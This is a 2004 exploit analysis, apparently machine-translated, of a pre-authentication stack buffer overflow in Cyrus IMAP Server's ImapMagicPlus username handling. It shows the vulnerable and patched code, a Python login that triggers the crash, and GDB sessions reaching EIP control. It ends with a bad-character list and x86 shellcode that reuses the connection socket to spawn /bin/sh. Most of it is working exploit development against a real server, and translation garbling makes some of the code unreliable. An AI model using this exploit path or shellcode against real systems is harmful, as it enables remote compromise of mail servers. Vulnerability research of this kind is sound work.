Cyrus IMAP Server ImapMagicPlus Pre-validation Remote Buffer Overflow Vulnerability Analysis
Creation time: 2004-12-06
Article attribute: original
Article submission:
SAN (SAN_AT_XFOCUS.ORG)
Cyrus IMAP Server ImapMagicPlus Pre-validation Remote Buffer Overflow Vulnerability Analysis
Stefan Esser discovers four vulnerabilities of Cyrus IMAP Server, where IMAPMAGICPLUS prefers the most dangerous remote buffer overflow vulnerability, and is most easily utilized. This section mainly introduces an analysis of this vulnerability.
1 Location Vulnerability
By comparing the Cyrus IMAP Server 2.2.8 and 2.2.9 of the IMAPD.C source file, you can quickly find the problem code appear in the IMAPD_CANON_USER function:
IF (config_getswitch (iMapopt_imapmagicplus) {
/ * Make a Working Copy of the Auth [z] ID * /
Memcpy (Userbuf, User, Ulen);
Userbuf [ulen] = '/ 0';
User = userbuf;
Userbuf is a partial variable of the imapd_canon_user function, the size is max_mailbox_name 1, that is, 491. User is the parameter belled in the imapd_canon_user function and does not perform a length check. When the IMAPOPT_IMAPMAGICPLUS option is opened, the MemcPy operation is executed, causing the stack overflow, and the function returns the address will be overwritten. The code in the Cyrus IMAP Server 2.2.9 version has made the following patch:
IF (config_getswitch (iMapopt_imapmagicplus) {
/ * Make a Working Copy of the Auth [z] ID * /
IF (ulen> max_mailbox_name) {
SASL_SETERROR (CONN, 0, "Buffer overflow While Canonicalizing");
Return SASL_BUFOVER;
}
Memcpy (Userbuf, User, Ulen);
Userbuf [ulen] = '/ 0';
User = userbuf;
It can be seen this is a very typical stack overflow vulnerability.
2 trigger a vulnerability
Although it is easy to find problem code, it is important to find a way to trigger the vulnerability. First install a Cyrus IMAP Server that exists in this vulnerability, and the installation process see the Cyrus documentation, this article is no longer detailed. After installation, the final plus the following lines of /etc/imapd.conf:
ImapMagicPlus: 1
This opens the ImapMagicPlus option and then starts the service. User variable is the username entered by the user, then try to log in to Cyrus IMAP Server with a Python script:
[SAN @ / home / san / bugtrack]> Python
Python 2.3.2 (# 1, NOV 19 2003, 15:32:26)
[GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] On Linux2
Type "Help", "Copyright", "Credits" or "license" for more information.
>>> Import iMaplib
>>> m = imaplib.imap4 ("192.168.7.100")
>>> M.Login ("a" * 1024, "")
Before performing login, you can see a IMAPD process in another terminal by fork, using the process of GDB debugger Attach:
[root @ / home / SAN / BugTrack]> PS AUX | GREP IMAPD
Cyrus 27258 0.0 0.5 20796 1496? s 16:39 0:00 iMapd
[root @ / home / san / bugtrack]> GDB / USR / Cyrus / Bin / IMAPD 27258
GNU GDB Red Hat Linux (5.1-1)
CopyRight 2001 Free Software Foundation, Inc.
GDB IS Free Software, Covered by the gnu general public license, and you are
Welcome to change IT and / or or distribute copies of it under certain conditions.
Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details.
THIS GDB WAS Configured AS "i386-redhat-linux" ...
/ HOME / SAN / BUGTRACK / 27258: No Such File or Directory.
Attaching to Program: / usr / cyrus / bin / imapd, process 27258
Reading symbols from /usr/local/lib/libsasl2.so.2...done.
Loaded Symbols for /usr/local/lib/libsasl2.so.2
Reading symbols from /lib/libssl.so.2...done.
Loaded Symbols for /Lib/Libssl.so.2
Reading symbols from /lib/libcrypto.so.2...done.
Loaded symbols for /lib/libcrypto.so.2
Reading Symbols from /Lib/LibResolv.so.2...done.
Loaded Symbols for /Lib/LibResolv.so.2
Reading symbols from /lib/libdb-3.2.so...done.
Loaded symbols for /lib/libdb-3.2.so
Reading symbols from /lib/libcom_err.so.2...done.
Loaded Symbols for /Lib/Libcom_ERR.SO.2
Reading Symbols from /Lib/Libnsl.so.1...done.
Loaded Symbols for /Lib/Libnsl.so.1
Reading symbols from /lib/i686/libc.so.6...done.
Loaded Symbols for /Lib/i686/libc.so.6
Reading symbols from /lib/libdl.so.2...done.
Loaded Symbols for /Lib/Libdl.so.2
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2reading symbols from /lib/libnss_files.so.2...done.
Loaded Symbols for /Lib/libnss_files.so.2
0x402ecafe in __select () from /Lib/i686/libc.so.6
(GDB) C
Continuing.
After pressing, the Login operation of the long username is performed at the terminal of Python. At this time, the terminal of GDB reports a paragraph error:
Program received Signal SigSegv, Segmentation Fault.
0x0804dc89 in imapd_can_user (conn = 0x41414141, context = 0x41414141,
User = 0x41414141
, ulen = 1094795585,Flags = 1094795585,
User_realm = 0x41414141
,OUT = 0x41414141
, out_max = 1094795585,OUT_ULEN = 0x41414141) at imapd.c: 291
291 Userbuf [ulen] = '/ 0';
(GDB)
This imapd process has collapsed in the imapd_canon_user function, but it has collapsed when "Userbuf [ulen] = '/ 0';", see the system situation:
(GDB) X / I $ PC
0x804dc89
(GDB) X / 5I $ PC-8
0x804dc81
0x804dc86
0x804dc89
0x804dc8d
0x804dc8e
(GDB) I REG $ EBP $ EBX $ EBX
EBP 0xBFFFD0C8 0xBFFD0C8
EAX 0x41414141 1094795585
EBX 0xBFFFCEC0 -1073754432
(GDB) X / 20X $ EBP
0xBFFD0C8: 0x41414141 0x41414141 0x41414141 0x41414141
0xBFFFD0D8: 0x41414141 0x41414141 0x41414141 0x41414141
0xBFFD0E8: 0x41414141 0X41414141 0X41414141 0X414141410XBFFD0F8: 0X41414141 0X41414141 0X41414141 0X41414141
0xBFFD108: 0x41414141 0x41414141 0x41414141 0x41414141
The original ulen is the stack parameter of the imapd_canon_user function, and since the overflowed data overwrites its position saved in the stack, the removed ULEN is 0x41414141. Use it to find the last character of the userbuf caused memory access, so the user variable cannot be too large, it is best to override the function to return the address. After testing, the username string length is a 528 characters just override the function returns the address. The Login operation is performed with the same method above. At this time, the information obtained by GDB is as follows:
(GDB) C
Continuing.
Program received Signal SigSegv, Segmentation Fault.
0x41414141 in ?? ()
(GDB) I REG
EAX 0xffffffffd -3
ECX 0x0 0
EDX 0x4033a2a0 1077125792
EBX 0x41414141 1094795585
ESP 0xBFFFD0D0 0xBFFFD0D0
EBP 0x41414141 0X41414141
ESI 0x41414141 1094795585
EDI 0x41414141 1094795585
EIP 0x41414141 0x41414141
...
Now EIP turns into a controllable address, next to write the utilization.
3 Using the implementation of the program
The process of executing Python's three lines of code is analyzed with TCPDUMP capture, discovers that IMAP logins will send two packages. First send a Capability package, then send the login packet, it is easy to write the utilization based on this information. However, in the actual attempt, you can find that after sending an exception Login packet, the IMAP will return to the following information:
Abcf1 Bad missing required argument to login
This is because the shellcode and the return address as the username contains the special characters of the IMAP, which is sent to the server, so it cannot be successful. After testing, it is found that the following characters cannot appear in the shellcode and return address:
0x22
0x0c
0x0b
0x00
0x09
0x0d
0x0a
0x20
Filtering these characters in Shellcode can be performed smoothly to Shellcode, but they have tested the shellcode of those search sockets that cannot be successful. Inadvertently discovered that this IMAP service will treat a special number as the current connection, which is the following code equivalent to the function of searching the socket shellcode:
JMP locate_addr
Find_s:
POP% EDI / * The Address of Sting / Bin / SH * /
XORL% EBX,% EBX
DECL% EBX / * Amazing Socket;) * /
Pushl $ 0x2
POPL% ECXDUP2S:
MOVB $ 0x3f,% Al / * Sys_Dup * /
INT $ 0x80
DECL% ECX
JNS DUP2S
XORL% EAX,% EAX
MOVL% EDI,% EBX / * / BIN / SH * /
LEAL 0x8 (% EDI),% EDX / * -ISP * /
Pushl% EAX
Pushl% EDX
Pushl% EBX
MOVL% ESP,% ECX / * ARGV * /
XORL% EDX,% EDX / * ENVP = NULL * /
MOVB $ 0x0b,% Al / * Sys_EXECVE * /
INT $ 0x80
XOR% EBX,% EBX
MOV% EBX,% EAX
INC% EAX
INT $ 0x80 / * sys_exit * /
LOCATE_ADDR:
Call find_s
.bete '/', 'b', 'i', 'n', '/', 's', 'h', 0x0, '-', 'i', 's', 'p', 0x0
Why is the author not very clear? The environment that the author test is Redhat 7.2. If a reader knows the reason, I hope I will enlighten me.